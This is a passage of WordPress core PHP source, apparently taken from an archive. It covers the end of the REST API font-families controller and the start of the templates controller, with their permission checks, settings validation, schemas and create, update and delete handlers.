				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font family.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font family settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_font_family_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				/* translators: %s: Parameter name: "font_family_settings". */
				sprintf( __( '%s parameter must be a valid JSON string.' ), 'font_family_settings' ),
				array( 'status' => 400 )
			);
		}

		$schema   = $this->get_item_schema()['properties']['font_family_settings'];
		$required = $schema['required'];

		if ( isset( $request['id'] ) ) {
			// Allow sending individual properties if we are updating an existing font family.
			unset( $schema['required'] );

			// But don't allow updating the slug, since it is used as a unique identifier.
			if ( isset( $settings['slug'] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of parameter being updated: font_family_settings[slug]". */
					sprintf( __( '%s cannot be updated.' ), 'font_family_settings[slug]' ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that the font face settings match the theme.json schema.
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_family_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the empty font family setting parameter, e.g. "font_family_settings[slug]". */
					sprintf( __( '%s cannot be empty.' ), "font_family_settings[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font family settings when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font family settings.
	 * @return array Decoded array of font family settings.
	 */
	public function sanitize_font_family_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_family_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Creates a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$settings = $request->get_param( 'font_family_settings' );

		// Check that the font family slug is unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'name'                   => $settings['slug'],
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_family',
				/* translators: %s: Font family slug. */
				sprintf( __( 'A font family with slug "%s" already exists.' ), $settings['slug'] ),
				array( 'status' => 400 )
			);
		}

		return parent::create_item( $request );
	}

	/**
	 * Deletes a single font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font families.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font family output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}

		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'font_faces', $fields ) ) {
			$data['font_faces'] = $this->get_font_face_ids( $item->ID );
		}

		if ( rest_is_field_included( 'font_family_settings', $fields ) ) {
			$data['font_family_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font family data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font family post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_family', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                   => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version'   => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'font_faces'           => array(
					'description' => __( 'The IDs of the child font faces in the font family.' ),
					'type'        => 'array',
					'context'     => array( 'view', 'edit', 'embed' ),
					'items'       => array(
						'type' => 'integer',
					),
				),
				// Font family settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_family_settings' => array(
					'description'          => __( 'font-face definition in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'name'       => array(
							'description' => __( 'Name of the font family preset, translatable.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'slug'       => array(
							'description' => __( 'Kebab-case unique identifier for the font family preset.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_title',
							),
						),
						'fontFamily' => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'preview'    => array(
							'description' => __( 'URL to a preview image of the font family.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'name', 'slug', 'fontFamily' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_family_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font family collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font family controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_family_collection_params', $query_params );
	}

	/**
	 * Get the arguments used when creating or updating a font family.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font family create/edit arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		if ( WP_REST_Server::CREATABLE === $method || WP_REST_Server::EDITABLE === $method ) {
			$properties = $this->get_item_schema()['properties'];
			return array(
				'theme_json_version'   => $properties['theme_json_version'],
				// When creating or updating, font_family_settings is stringified JSON, to work with multipart/form-data.
				// Font families don't currently support file uploads, but may accept preview files in the future.
				'font_family_settings' => array(
					'description'       => __( 'font-family declaration in theme.json format, encoded as a string.' ),
					'type'              => 'string',
					'required'          => true,
					'validate_callback' => array( $this, 'validate_font_family_settings' ),
					'sanitize_callback' => array( $this, 'sanitize_font_family_settings' ),
				),
			);
		}

		return parent::get_endpoint_args_for_item_schema( $method );
	}

	/**
	 * Get the child font face post IDs.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return int[] Array of child font face post IDs.
	 */
	protected function get_font_face_ids( $font_family_id ) {
		$query = new WP_Query(
			array(
				'fields'                 => 'ids',
				'post_parent'            => $font_family_id,
				'post_type'              => 'wp_font_face',
				'posts_per_page'         => 99,
				'order'                  => 'ASC',
				'orderby'                => 'id',
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);

		return $query->posts;
	}

	/**
	 * Prepares font family links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = parent::prepare_links( $post );

		return array(
			'self'       => $links['self'],
			'collection' => $links['collection'],
			'font_faces' => $this->prepare_font_face_links( $post->ID ),
		);
	}

	/**
	 * Prepares child font face links for the request.
	 *
	 * @param int $font_family_id Font family post ID.
	 * @return array Links for the child font face posts.
	 */
	protected function prepare_font_face_links( $font_family_id ) {
		$font_face_ids = $this->get_font_face_ids( $font_family_id );
		$links         = array();
		foreach ( $font_face_ids as $font_face_id ) {
			$links[] = array(
				'embeddable' => true,
				'href'       => rest_url( sprintf( '%s/%s/%s/font-faces/%s', $this->namespace, $this->rest_base, $font_family_id, $font_face_id ) ),
			);
		}
		return $links;
	}

	/**
	 * Prepares a single font family post for create or update.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Post object or WP_Error.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();
		// Settings have already been decoded by ::sanitize_font_family_settings().
		$settings = $request->get_param( 'font_family_settings' );

		// This is an update and we merge with the existing font family.
		if ( isset( $request['id'] ) ) {
			$existing_post = $this->get_post( $request['id'] );
			if ( is_wp_error( $existing_post ) ) {
				return $existing_post;
			}

			$prepared_post->ID = $existing_post->ID;
			$existing_settings = $this->get_settings_from_post( $existing_post );
			$settings          = array_merge( $existing_settings, $settings );
		}

		$prepared_post->post_type   = $this->post_type;
		$prepared_post->post_status = 'publish';
		$prepared_post->post_title  = $settings['name'];
		$prepared_post->post_name   = sanitize_title( $settings['slug'] );

		// Remove duplicate information from settings.
		unset( $settings['name'] );
		unset( $settings['slug'] );

		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Gets the font family's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font family post object.
	 * @return array Font family settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings_json = json_decode( $post->post_content, true );

		// Default to empty strings if the settings are missing.
		return array(
			'name'       => isset( $post->post_title ) && $post->post_title ? $post->post_title : '',
			'slug'       => isset( $post->post_name ) && $post->post_name ? $post->post_name : '',
			'fontFamily' => isset( $settings_json['fontFamily'] ) && $settings_json['fontFamily'] ? $settings_json['fontFamily'] : '',
			'preview'    => isset( $settings_json['preview'] ) && $settings_json['preview'] ? $settings_json['preview'] : '',
		);
	}
}
endpoints/class-wp-rest-templates-controller.php000066600000112637152442706000016157 0ustar00<?php
/**
 * REST API: WP_REST_Templates_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Base Templates REST API Controller.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Templates_Controller extends WP_REST_Controller {

	/**
	 * Post type.
	 *
	 * @since 5.8.0
	 * @var string
	 */
	protected $post_type;

	/**
	 * Constructor.
	 *
	 * @since 5.8.0
	 *
	 * @param string $post_type Post type.
	 */
	public function __construct( $post_type ) {
		$this->post_type = $post_type;
		$obj             = get_post_type_object( $post_type );
		$this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name;
		$this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 * @since 6.1.0 Endpoint for fallback template content.
	 */
	public function register_routes() {
		// Lists all templates.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		// Get fallback template content.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/lookup',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_template_fallback' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'slug'            => array(
							'description' => __( 'The slug of the template to get the fallback for' ),
							'type'        => 'string',
							'required'    => true,
						),
						'is_custom'       => array(
							'description' => __( 'Indicates if a template is custom or part of the template hierarchy' ),
							'type'        => 'boolean',
						),
						'template_prefix' => array(
							'description' => __( 'The template prefix for the created template. This is used to extract the main template type, e.g. in `taxonomy-books` extracts the `taxonomy`' ),
							'type'        => 'string',
						),
					),
				),
			)
		);

		// Lists/updates a single template based on the given id.
		register_rest_route(
			$this->namespace,
			// The route.
			sprintf(
				'/%s/(?P<id>%s%s)',
				$this->rest_base,
				/*
				 * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`.
				 * Excludes invalid directory name characters: `/:<>*?"|`.
				 */
				'([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)',
				// Matches the template name.
				'[\/\w%-]+'
			),
			array(
				'args'   => array(
					'id' => array(
						'description'       => __( 'The id of a template' ),
						'type'              => 'string',
						'sanitize_callback' => array( $this, '_sanitize_template_id' ),
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Returns the fallback template for the given slug.
	 *
	 * @since 6.1.0
	 * @since 6.3.0 Ignore empty templates.
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_template_fallback( $request ) {
		$hierarchy = get_template_hierarchy( $request['slug'], $request['is_custom'], $request['template_prefix'] );

		do {
			$fallback_template = resolve_block_template( $request['slug'], $hierarchy, '' );
			array_shift( $hierarchy );
		} while ( ! empty( $hierarchy ) && empty( $fallback_template->content ) );

		// To maintain original behavior, return an empty object rather than a 404 error when no template is found.
		$response = $fallback_template ? $this->prepare_item_for_response( $fallback_template, $request ) : new stdClass();

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function permissions_check( $request ) {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to edit/view/delete templates.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_templates',
				__( 'Sorry, you are not allowed to access the templates on this site.' ),
				array(
					'status' => rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Requesting this endpoint for a template like 'twentytwentytwo//home'
	 * requires using a path like /wp/v2/templates/twentytwentytwo//home. There
	 * are special cases when WordPress routing corrects the name to contain
	 * only a single slash like 'twentytwentytwo/home'.
	 *
	 * This method doubles the last slash if it's not already doubled. It relies
	 * on the template ID format {theme_name}//{template_slug} and the fact that
	 * slugs cannot contain slashes.
	 *
	 * @since 5.9.0
	 * @see https://core.trac.wordpress.org/ticket/54507
	 *
	 * @param string $id Template ID.
	 * @return string Sanitized template ID.
	 */
	public function _sanitize_template_id( $id ) {
		$id = urldecode( $id );

		$last_slash_pos = strrpos( $id, '/' );
		if ( false === $last_slash_pos ) {
			return $id;
		}

		$is_double_slashed = substr( $id, $last_slash_pos - 1, 1 ) === '/';
		if ( $is_double_slashed ) {
			return $id;
		}
		return (
			substr( $id, 0, $last_slash_pos )
			. '/'
			. substr( $id, $last_slash_pos )
		);
	}

	/**
	 * Checks if a given request has access to read templates.
	 *
	 * @since 5.8.0
	 * @since 6.6.0 Allow users with edit_posts capability to read templates.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_manage_templates',
			__( 'Sorry, you are not allowed to access the templates on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns a list of templates.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$query = array();
		if ( isset( $request['wp_id'] ) ) {
			$query['wp_id'] = $request['wp_id'];
		}
		if ( isset( $request['area'] ) ) {
			$query['area'] = $request['area'];
		}
		if ( isset( $request['post_type'] ) ) {
			$query['post_type'] = $request['post_type'];
		}

		$templates = array();
		foreach ( get_block_templates( $query, $this->post_type ) as $template ) {
			$data        = $this->prepare_item_for_response( $template, $request );
			$templates[] = $this->prepare_response_for_collection( $data );
		}

		return rest_ensure_response( $templates );
	}

	/**
	 * Checks if a given request has access to read a single template.
	 *
	 * @since 5.8.0
	 * @since 6.6.0 Allow users with edit_posts capability to read individual templates.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}
		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_manage_templates',
			__( 'Sorry, you are not allowed to access the templates on this site.' ),
			array(
				'status' => rest_authorization_required_code(),
			)
		);
	}

	/**
	 * Returns the given template
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_item( $request ) {
		if ( isset( $request['source'] ) && ( 'theme' === $request['source'] || 'plugin' === $request['source'] ) ) {
			$template = get_block_file_template( $request['id'], $this->post_type );
		} else {
			$template = get_block_template( $request['id'], $this->post_type );
		}

		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $template, $request );
	}

	/**
	 * Checks if a given request has access to write a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Updates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}

		$post_before = get_post( $template->wp_id );

		if ( isset( $request['source'] ) && 'theme' === $request['source'] ) {
			wp_delete_post( $template->wp_id, true );
			$request->set_param( 'context', 'edit' );

			$template = get_block_template( $request['id'], $this->post_type );
			$response = $this->prepare_item_for_response( $template, $request );

			return rest_ensure_response( $response );
		}

		$changes = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $changes ) ) {
			return $changes;
		}

		if ( 'custom' === $template->source ) {
			$update = true;
			$result = wp_update_post( wp_slash( (array) $changes ), false );
		} else {
			$update      = false;
			$post_before = null;
			$result      = wp_insert_post( wp_slash( (array) $changes ), false );
		}

		if ( is_wp_error( $result ) ) {
			if ( 'db_update_error' === $result->get_error_code() ) {
				$result->add_data( array( 'status' => 500 ) );
			} else {
				$result->add_data( array( 'status' => 400 ) );
			}
			return $result;
		}

		$template      = get_block_template( $request['id'], $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		$post = get_post( $template->wp_id );
		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, false );

		wp_after_insert_post( $post, $update, $post_before );

		$response = $this->prepare_item_for_response( $template, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to create a template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Creates a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$prepared_post = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_post ) ) {
			return $prepared_post;
		}

		$prepared_post->post_name = $request['slug'];
		$post_id                  = wp_insert_post( wp_slash( (array) $prepared_post ), true );
		if ( is_wp_error( $post_id ) ) {
			if ( 'db_insert_error' === $post_id->get_error_code() ) {
				$post_id->add_data( array( 'status' => 500 ) );
			} else {
				$post_id->add_data( array( 'status' => 400 ) );
			}

			return $post_id;
		}
		$posts = get_block_templates( array( 'wp_id' => $post_id ), $this->post_type );
		if ( ! count( $posts ) ) {
			return new WP_Error( 'rest_template_insert_error', __( 'No templates exist with that id.' ), array( 'status' => 400 ) );
		}
		$id            = $posts[0]->id;
		$post          = get_post( $post_id );
		$template      = get_block_template( $id, $this->post_type );
		$fields_update = $this->update_additional_fields_for_object( $template, $request );
		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
		do_action( "rest_after_insert_{$this->post_type}", $post, $request, true );

		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $template, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $template->id ) ) );

		return $response;
	}

	/**
	 * Checks if a given request has access to delete a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has delete access for the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this->permissions_check( $request );
	}

	/**
	 * Deletes a single template.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$template = get_block_template( $request['id'], $this->post_type );
		if ( ! $template ) {
			return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) );
		}
		if ( 'custom' !== $template->source ) {
			return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t be removed.' ), array( 'status' => 400 ) );
		}

		$id    = $template->wp_id;
		$force = (bool) $request['force'];

		$request->set_param( 'context', 'edit' );

		// If we're forcing, then delete permanently.
		if ( $force ) {
			$previous = $this->prepare_item_for_response( $template, $request );
			$result   = wp_delete_post( $id, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// Otherwise, only trash if we haven't already.
			if ( 'trash' === $template->status ) {
				return new WP_Error(
					'rest_template_already_trashed',
					__( 'The template has already been deleted.' ),
					array( 'status' => 410 )
				);
			}

			/*
			 * (Note that internally this falls through to `wp_delete_post()`
			 * if the Trash is disabled.)
			 */
			$result           = wp_trash_post( $id );
			$template->status = 'trash';
			$response         = $this->prepare_item_for_response( $template, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The template cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		return $response;
	}

	/**
	 * Prepares a single template for create or update.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass|WP_Error Changes to pass to wp_update_post.
	 */
	protected function prepare_item_for_database( $request ) {
		$template = $request['id'] ? get_block_template( $request['id'], $this->post_type ) : null;
		$changes  = new stdClass();
		if ( null === $template ) {
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => isset( $request['theme'] ) ? $request['theme'] : get_stylesheet(),
			);
		} elseif ( 'custom' !== $template->source ) {
			$changes->post_name   = $template->slug;
			$changes->post_type   = $this->post_type;
			$changes->post_status = 'publish';
			$changes->tax_input   = array(
				'wp_theme' => $template->theme,
			);
			$changes->meta_input  = array(
				'origin' => $template->source,
			);
		} else {
			$changes->post_name   = $template->slug;
			$changes->ID          = $template->wp_id;
			$changes->post_status = 'publish';
		}
		if ( isset( $request['content'] ) ) {
			if ( is_string( $request['content'] ) ) {
				$changes->post_content = $request['content'];
			} elseif ( isset( $request['content']['raw'] ) ) {
				$changes->post_content = $request['content']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_content = $template->content;
		}
		if ( isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$changes->post_title = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$changes->post_title = $request['title']['raw'];
			}
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_title = $template->title;
		}
		if ( isset( $request['description'] ) ) {
			$changes->post_excerpt = $request['description'];
		} elseif ( null !== $template && 'custom' !== $template->source ) {
			$changes->post_excerpt = $template->description;
		}

		if ( 'wp_template' === $this->post_type && isset( $request['is_wp_suggestion'] ) ) {
			$changes->meta_input     = wp_parse_args(
				array(
					'is_wp_suggestion' => $request['is_wp_suggestion'],
				),
				$changes->meta_input = array()
			);
		}

		if ( 'wp_template_part' === $this->post_type ) {
			if ( isset( $request['area'] ) ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $request['area'] );
			} elseif ( null !== $template && 'custom' !== $template->source && $template->area ) {
				$changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $template->area );
			} elseif ( empty( $template->area ) ) {
